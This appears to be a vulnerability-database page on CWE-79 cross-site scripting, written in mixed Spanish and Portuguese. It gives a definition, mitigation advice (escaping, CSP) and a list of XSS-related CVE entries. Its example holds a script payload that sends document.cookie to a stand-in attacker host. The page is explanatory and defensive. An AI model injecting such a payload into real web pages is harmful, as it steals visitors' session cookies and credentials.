Fallos del tipo CWE-79

29.081 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-58647HIGHMicrosoft PowerBI Report Server Spoofing VulnerabilityEPSS 0.5%CVE-2023-1613LOWRebuild publish cross site scriptingEPSS 0.5%CVE-2025-66562HIGHTUUI vulnerable to Remote Code Execution (RCE) via XSS in Markdown ECharts RenderingEPSS 0.5%CVE-2025-26796MEDIUMApache Oozie: XSS in Oozie Web ConsoleEPSS 0.5%CVE-2021-36849LOWWordPress Social Media Share Buttons plugin <= 3.8.1 - Authenticated Stored Cross-Site Scripting (XSS) vulnerabilityEPSS 0.5%CVE-2023-2475LOWDromara J2eeFAST System Message cross site scriptingEPSS 0.5%CVE-2024-47924HIGHBoa web server – CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')EPSS 0.5%CVE-2025-64716MEDIUMAnubis vulnerable to possible XSS via redir parameter when using subrequest auth modeEPSS 0.5%CVE-2024-27499MEDIUMBagisto v1.5.1 is vulnerable for Cross site scripting(XSS) via png file upload vulnerability in product review option.EPSS 0.5%CVE-2025-51504HIGHMicroweber CMS 2.0 is vulnerable to Cross Site Scripting (XSS)in the /projects/profile, homepage endpoint via the last name field.EPSS 0.5%CVE-2023-38687MEDIUMExecution of arbitrary JavaScript from Svelecte item namesEPSS 0.5%CVE-2022-37925MEDIUMA vulnerability within the web-based management interface of Aruba EdgeConnect Enterprise could allow a remote attacker to conduct a reflectEPSS 0.5%CVE-2026-85061CRITICALMapLibre GL JS: XSS Sanitizer Bypass in DOM.sanitize() via Live NamedNodeMap Removal SkipEPSS 0.5%CVE-2026-24053HIGHCluade Code has a Path Restriction Bypass via ZSH Clobber which Allows Arbitrary File WritesEPSS 0.5%CVE-2023-1245LOWCross-site Scripting (XSS) - Stored in answerdev/answerEPSS 0.5%CVE-2022-34879MEDIUMVICIDial 2.14b0.5 SVN 3550 was discovered to contain multiple Cross Site Scripting (XSS) vulnerabilities at /vicidial/admin.php.EPSS 0.5%CVE-2023-33939MEDIUMCross-site scripting (XSS) vulnerability in the Modified Facet widget in Liferay Portal 7.1.0 through 7.4.3.12, and Liferay DXP 7.1 before fEPSS 0.5%CVE-2022-4930LOWnuxsmin sysPass URL cross site scriptingEPSS 0.5%CVE-2024-1379MEDIUMWebsite Article Monetization By MageNet <= 1.0.11 - Unauthenticated Stored Cross-Site ScriptingEPSS 0.5%CVE-2024-32578HIGHWordPress Sliderby10Web plugin <= 1.2.54 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.5%